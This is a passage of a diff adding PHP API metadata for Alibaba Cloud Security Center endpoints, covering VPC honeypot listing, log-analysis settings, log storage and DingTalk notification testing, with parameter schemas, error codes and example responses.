'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'VpcHoneyPotDTOList' => [ + 'description' => '云蜜罐实例的列表信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'VpcName' => [ + 'description' => '云蜜罐实例的VPC名称。', + 'type' => 'string', + 'example' => 'abc-vpcname', + ], + 'VpcId' => [ + 'description' => '云蜜罐实例的VPC ID。', + 'type' => 'string', + 'example' => 'vpc-p0w223apdl49sr5zv****', + ], + 'HoneyPotEniInstanceId' => [ + 'description' => '云蜜罐在VPC内创建的网卡实例ID。', + 'type' => 'string', + 'example' => 'eni-p0whwgg7bing8b80****', + ], + 'CidrBlock' => [ + 'description' => 'VPC网段。', + 'type' => 'string', + 'example' => '192.168.XX.XX/16', + ], + 'VpcStatus' => [ + 'description' => '当前VPC实例的状态。取值：'."\n" + .'- **Available**：可用（正常运行状态）'."\n" + .'- **Pending**：配置中'."\n", + 'type' => 'string', + 'example' => 'Available', + ], + 'CreateTime' => [ + 'description' => '创建VPC实例的时间。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1607365213000', + ], + 'HoneyPotVpcSwitchId' => [ + 'description' => '云蜜罐使用的网卡所在的交换机的ID。', + 'type' => 'string', + 'example' => 'vsw-p0w7gdcfvn20tvdul****', + ], + 'HoneyPotExistence' => [ + 'description' => '当前VPC实例是否开通了云蜜罐。取值：'."\n" + .'- **true**：已开通'."\n" + .'- **false**：未开通'."\n", + 'type' => 'boolean', + 'example' => 'true', + ], + 'VpcRegionId' => [ + 'description' => '云蜜罐实例的VPC所在区域的ID。'."\n" + .'> Region ID和区域名称的对应关系，请参见[地域和可用区](~~40654~~)。'."\n", + 'type' => 'string', + 'example' => 'ap-southeast-2', + ], + 'HoneyPotEcsInstanceStatus' => [ + 'description' => '云蜜罐实例对应的服务器状态。取值：'."\n" + .'- **Pending**：创建中'."\n" + .'- **Running**：运行中'."\n" + .'- **Starting**：启动中'."\n" + .'- **Stopping**：停止中'."\n" + .'- **Stopped**：已停止'."\n", + 'type' => 'string', + 'example' => 'Running', + ], + 'HoneyPotInstanceStatus' => [ + 'description' => '云蜜罐实例状态。取值：'."\n" + .'- **pending**：创建中'."\n" + .'- **deleting**：删除中'."\n" + .'- **off**：关闭'."\n" + .'- **suspending**：暂停中'."\n" + .'- **on**：已开启'."\n", + 'type' => 'string', + 'example' => 'on', + ], + 'VpcSwitchIdList' => [ + 'description' => '当前VPC下的交换机列表信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'VpcSwitchName' => [ + 'description' => '交换机名称。', + 'type' => 'string', + 'example' => 'abc01', + ], + 'ZoneId' => [ + 'description' => '交换机所在可用区ID。', + 'type' => 'string', + 'example' => 'ap-southeast-2b', + ], + 'VpcSwitchId' => [ + 'description' => '交换机ID。', + 'type' => 'string', + 'example' => 'vsw-p0wdnyv4wzp6jkuu4****', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"4FEC7F58-FCDA-415F-AE25-CD8BC0931DF2\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 2,\\n \\"Count\\": 2\\n },\\n \\"VpcHoneyPotDTOList\\": [\\n {\\n \\"VpcName\\": \\"abc-vpcname\\",\\n \\"VpcId\\": \\"vpc-p0w223apdl49sr5zv****\\",\\n \\"HoneyPotEniInstanceId\\": \\"eni-p0whwgg7bing8b80****\\",\\n \\"CidrBlock\\": \\"192.168.XX.XX/16\\",\\n \\"VpcStatus\\": \\"Available\\",\\n \\"CreateTime\\": 1607365213000,\\n \\"HoneyPotVpcSwitchId\\": \\"vsw-p0w7gdcfvn20tvdul****\\",\\n \\"HoneyPotExistence\\": true,\\n \\"VpcRegionId\\": \\"ap-southeast-2\\",\\n \\"HoneyPotEcsInstanceStatus\\": \\"Running\\",\\n \\"HoneyPotInstanceStatus\\": \\"on\\",\\n \\"VpcSwitchIdList\\": [\\n {\\n \\"VpcSwitchName\\": \\"abc01\\",\\n \\"ZoneId\\": \\"ap-southeast-2b\\",\\n \\"VpcSwitchId\\": \\"vsw-p0wdnyv4wzp6jkuu4****\\"\\n }\\n ]\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n \\n Running\\n \\n abc01\\n ap-southeast-2b\\n vsw-p0wdnyv4wzp6jkuu4****\\n \\n vpc-p0w223apdl49sr5zv****\\n true\\n on\\n vsw-p0w7gdcfvn20tvdul****\\n 1607365213000\\n Available\\n ap-southeast-2\\n 192.168.XX.XX/16\\n eni-p0whwgg7bing8b80****\\n abc-vpcname\\n \\n \\n \\n abc02\\n ap-southeast-2b\\n vsw-p0wy1hvr3r8oi01hw****\\n \\n vpc-p0wjjpui2gerjmn2w****\\n false\\n off\\n 1607467211000\\n Available\\n ap-southeast-2\\n 192.168.XX.XX/16\\n abc02-vpcname\\n \\n \\n 2\\n 20\\n 1\\n 2\\n \\n 4FEC7F58-FCDA-415F-AE25-CD8BC0931DF2\\n","errorExample":""}]', + 'title' => '查询VPC蜜罐探针列表', + 'description' => '如果您在请求参数中只输入了Action，没有指定任一请求参数，云安全中心将返回所有的VPC列表（无论该VPC下是否创建了蜜罐实例）。', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'GetLogMeta' => [ + 'summary' => '查询日志分析类型投递状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '193888', + 'abilityTreeNodes' => [ + 'FEATUREsasA2G5MU', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'LogStore', + 'in' => 'query', + 'schema' => [ + 'description' => '日志存放的专属Logstore名称。'."\n" + .'>您可以调用[DescribeLogMeta](~~DescribeLogMeta~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'aegis-log-login'."\n", + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号ID（阿里云账号）。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '127608589417****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3956048F-9D73-5EDB-834B-4827BB48****', + ], + 'LogMeta' => [ + 'description' => '日志投递数据。', + 'type' => 'object', + 'properties' => [ + 'Project' => [ + 'description' => '日志服务SLS的日志项目。', + 'type' => 'string', + 'example' => 'sas-log', + ], + 'LogStore' => [ + 'description' => '日志存放的专属Logstore名称。', + 'type' => 'string', + 'example' => 'aegis-log-login', + ], + 'Status' => [ + 'description' => '日志类型的投递状态。取值：'."\n" + .'- **enabled**：启用'."\n" + .'- **disabled**：禁用', + 'type' => 'string', + 'example' => 'enabled', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB48****\\",\\n \\"LogMeta\\": {\\n \\"Project\\": \\"sas-log\\",\\n \\"LogStore\\": \\"aegis-log-login\\",\\n \\"Status\\": \\"enabled\\"\\n }\\n}","type":"json"}]', + 'title' => '查询日志分析类型投递状态', + ], + 'GetUserLang' => [ + 'summary' => '查询日志分析语言设置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '23AD0BD2-8771-5647-819E-6BA51E21****', + ], + 'SasUserLang' => [ + 'description' => '语言设置数据。', + 'type' => 'object', + 'properties' => [ + 'Lang' => [ + 'description' => '日志分析设置的语言。取值：'."\n" + ."\n" + .'- zh：中文'."\n" + .'- en：英文', + 'type' => 'string', + 'example' => 'zh', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"23AD0BD2-8771-5647-819E-6BA51E21****\\",\\n \\"SasUserLang\\": {\\n \\"Lang\\": \\"zh\\"\\n }\\n}","type":"json"}]', + 'title' => '查询日志分析语言设置', + ], + 'ChangeUserLang' => [ + 'summary' => '修改日志分析语言设置。日志语言更新存在最大12个小时延时，仅影响安全类日志中安全事件的描述语言。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '168490', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'UserLang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置语言。取值：'."\n" + ."\n" + .'- zh：中文'."\n" + .'- en：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '2F5AA940-9EBF-5948-ACE7-3EF0FE54****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"2F5AA940-9EBF-5948-ACE7-3EF0FE54****\\"\\n}","type":"json"}]', + 'title' => '修改日志分析语言设置', + ], + 'ModifyLogMetaStatus' => [ + 'summary' => '修改日志分析启用状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '154030', + 'abilityTreeNodes' => [ + 'FEATUREsasA2G5MU', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定取值为**sas**。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'Project', + 'in' => 'query', + 'schema' => [ + 'description' => 'Project名称。'."\n" + .'> 您可以调用[DescribeLogMeta](~~DescribeLogMeta~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'aegis-log', + ], + ], + [ + 'name' => 'LogStore', + 'in' => 'query', + 'schema' => [ + 'description' => '日志存放的专属Logstore名称。'."\n" + .'>您可以调用[DescribeLogMeta](~~DescribeLogMeta~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'aegis-log-login'."\n", + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要修改的日志的状态。取值：'."\n" + .'- **enabled**：启用'."\n" + .'- **disabled**：禁用', + 'type' => 'string', + 'required' => true, + 'example' => 'disabled', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号ID（阿里云账号）。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1232428423234****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '861445A7-B6D6-5825-B015-CD46ED90613A', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'LogAuthStatusNotReady', + 'errorMessage' => 'Insufficient authorization status of the log service.', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"861445A7-B6D6-5825-B015-CD46ED90613A\\"\\n}","type":"json"}]', + 'title' => '修改日志分析启用状态', + ], + 'DescribeLogMeta' => [ + 'summary' => '查询云安全中心日志分析的配置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '154029', + 'abilityTreeNodes' => [ + 'FEATUREsasA2G5MU', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '123.168.XX.XX', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，默认**aegis**，取值：'."\n" + ."\n" + .'- **aegis**：安骑士版本。'."\n" + .'- **sas**：云安全中心版本。'."\n" + ."\n" + .'> 安骑士用户请使用**aegis**，云安全中心用户则使用**sas**。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号ID（阿里云账号）。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '127608589417****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '查询到的配置信息总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA04B21', + ], + 'LogMetaList' => [ + 'description' => '云安全中心日志分析的配置信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '云安全中心日志分析的配置信息。', + 'type' => 'object', + 'properties' => [ + 'LogDesc' => [ + 'description' => '日志类型名称。', + 'type' => 'string', + 'example' => 'Login', + ], + 'Status' => [ + 'description' => '当前启用状态。取值：'."\n" + .'- **disabled**：未启用。'."\n" + .'- **enabled**：启用。', + 'type' => 'string', + 'example' => 'enabled', + ], + 'LogStore' => [ + 'description' => '日志存放的专属Logstore名称。', + 'type' => 'string', + 'example' => 'aegis-log-login', + ], + 'UserProject' => [ + 'description' => '日志存放的专属Project名称。', + 'type' => 'string', + 'example' => 'sasnew-log-XXXX-cn-hangzhou', + ], + 'Category' => [ + 'description' => '日志分类。取值：'."\n" + ."\n" + .'- **host**：主机日志。'."\n" + .'- **security**：安全日志。', + 'type' => 'string', + 'example' => 'host', + ], + 'Project' => [ + 'description' => 'Project名称。', + 'type' => 'string', + 'example' => 'aegis-log', + ], + 'UserLogStore' => [ + 'description' => '用户日志存放的专属Logstore名称。', + 'type' => 'string', + 'example' => 'aegis-log-network', + ], + 'UserRegion' => [ + 'description' => '所属地域。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'Ttl' => [ + 'description' => '日志保存天数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '180', + ], + 'HotTtl' => [ + 'description' => '热存储转冷存储时间。单位：天。'."\n" + ."\n\n" + .'> 若为**-1**表示不进行转换。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '-1', + ], + 'Topic' => [ + 'description' => '投递的日志主题。', + 'type' => 'string', + 'example' => 'aegis-log-login', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + [ + 'errorCode' => 'ThrottlingUser', + 'errorMessage' => 'Request was denied due to user flow control.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 100,\\n \\"RequestId\\": \\"D0D6E6E4-CB8C-4897-B852-46AEFDA04B21\\",\\n \\"LogMetaList\\": [\\n {\\n \\"LogDesc\\": \\"Login\\",\\n \\"Status\\": \\"enabled\\",\\n \\"LogStore\\": \\"aegis-log-login\\",\\n \\"UserProject\\": \\"sasnew-log-XXXX-cn-hangzhou\\",\\n \\"Category\\": \\"host\\",\\n \\"Project\\": \\"aegis-log\\",\\n \\"UserLogStore\\": \\"aegis-log-network\\",\\n \\"UserRegion\\": \\"cn-hangzhou\\",\\n \\"Ttl\\": 180,\\n \\"HotTtl\\": -1,\\n \\"Topic\\": \\"aegis-log-login\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询云安全中心日志分析配置', + ], + 'ModifyOpenLogShipper' => [ + 'summary' => '开通日志服务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92378', + 'abilityTreeNodes' => [ + 'FEATUREsasA2G5MU', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，默认**aegis**，取值：'."\n" + ."\n" + .'- **aegis**：安骑士版本。'."\n" + .'- **sas**：云安全中心版本。'."\n" + ."\n" + .'> 安骑士用户请使用**aegis**，云安全中心用户则使用**sas**。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号ID（阿里云账号）。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '127608589417****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '25EC270F-5783-4416-AD7C-1EDF063A039C', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalHotTTL', + 'errorMessage' => 'The hot storage TTL is invalid.', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"25EC270F-5783-4416-AD7C-1EDF063A039C\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 25EC270F-5783-4416-AD7C-1EDF063A039C\\n","errorExample":""}]', + 'title' => '开通日志服务', + 'description' => '**前提条件**'."\n" + ."\n" + .'先开通[日志服务](https://help.aliyun.com/document_detail/48863.html)'."\n" + .'[Log Service](https://www.alibabacloud.com/help/en/log-service/latest/billable-items)，'."\n" + .'已创建服务管理角色并授权云安全中心访问云资源。您可以调用[CreateServiceLinkedRole](~~CreateServiceLinkedRole~~)接口创建服务关联角色并授权云安全中心访问云资源。'."\n" + ."\n" + .'**使用场景**'."\n" + ."\n" + .'使用云安全中心日志分析功能前，您需要先调用[ModifyOpenLogShipper](~~ModifyOpenLogShipper~~)接口开通日志服务。', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeLogstoreStorage' => [ + 'summary' => '查询云安全中心日志分析存储容量。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定取值为**sas**。', + 'type' => 'string', + 'required' => true, + 'example' => 'sas', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Used' => [ + 'description' => '已使用的日志分析存储容量，单位为GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '335', + ], + 'Ttl' => [ + 'description' => '日志保存天数。取值固定为**180**，表示日志可保存180天。'."\n" + .'> 云安全中心暂不支持调整日志保存天数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '180', + ], + 'Logstore' => [ + 'description' => '云安全中心全量日志存放的专属Logstore名称。取值固定为**sas-log**。', + 'type' => 'string', + 'example' => 'sas-log', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '25EC270F-5783-4416-AD7C-1EDF063A039C', + ], + 'Preserve' => [ + 'description' => '已开通的日志分析存储容量，单位为GB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '12240', + ], + 'UserProject' => [ + 'description' => '云安全中心全量日志存放的专属Project名称。', + 'type' => 'string', + 'example' => 'sas-log-XXXX-cn-hangzhou', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 200 => [ + [ + 'errorCode' => 'DataNotExist', + 'errorMessage' => 'Logstore data not exist.', + ], + ], + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"Used\\": 335,\\n \\"Ttl\\": 180,\\n \\"Logstore\\": \\"sas-log\\",\\n \\"RequestId\\": \\"25EC270F-5783-4416-AD7C-1EDF063A039C\\",\\n \\"Preserve\\": 12240,\\n \\"UserProject\\": \\"sas-log-XXXX-cn-hangzhou\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 25EC270F-5783-4416-AD7C-1EDF063A039C\\n 335.14641880244017\\n sas-log\\n 180\\n 12240\\n","errorExample":""}]', + 'title' => '查询云安全中心日志分析存储容量', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ModifyClearLogstoreStorage' => [ + 'summary' => '清空日志分析的存储容量空间。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '117639', + 'abilityTreeNodes' => [ + 'FEATUREsasRXJ9SY', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'From', + 'in' => 'query', + 'schema' => [ + 'description' => '请求来源标识，固定为**sas**。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'UserProject', + 'in' => 'query', + 'schema' => [ + 'description' => '用户项目。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas-log-1234(uid)-cn-hangzhou', + ], + ], + [ + 'name' => 'UserLogStore', + 'in' => 'query', + 'schema' => [ + 'description' => '用户日志存储LogStore名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas_sls_storage', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'DC84C453-8561-5EC4-B0E9-44E67ACCB5B5', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"DC84C453-8561-5EC4-B0E9-44E67ACCB5B5\\"\\n}","errorExample":""},{"type":"xml","example":"\\n DC84C453-8561-5EC4-B0E9-44E67ACCB5B5\\n","errorExample":""}]', + 'title' => '清理云安全中心日志', + 'description' => '日志清空后无法恢复，建议您使用本接口前，将日志导出并存储到本地，然后再使用本接口清空日志释放存储容量空间。', + ], + 'DingTalkOnlineTest' => [ + 'summary' => '测试配置的钉钉配置是否有效。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '钉钉通知配置ID。'."\n" + .'> 您可以调用[DescribeDingTalk](~~DescribeDingTalk~~)接口获取钉钉通知配置ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '2373', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '2E96F605-1BE3-5954-83A5-AE96C617****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 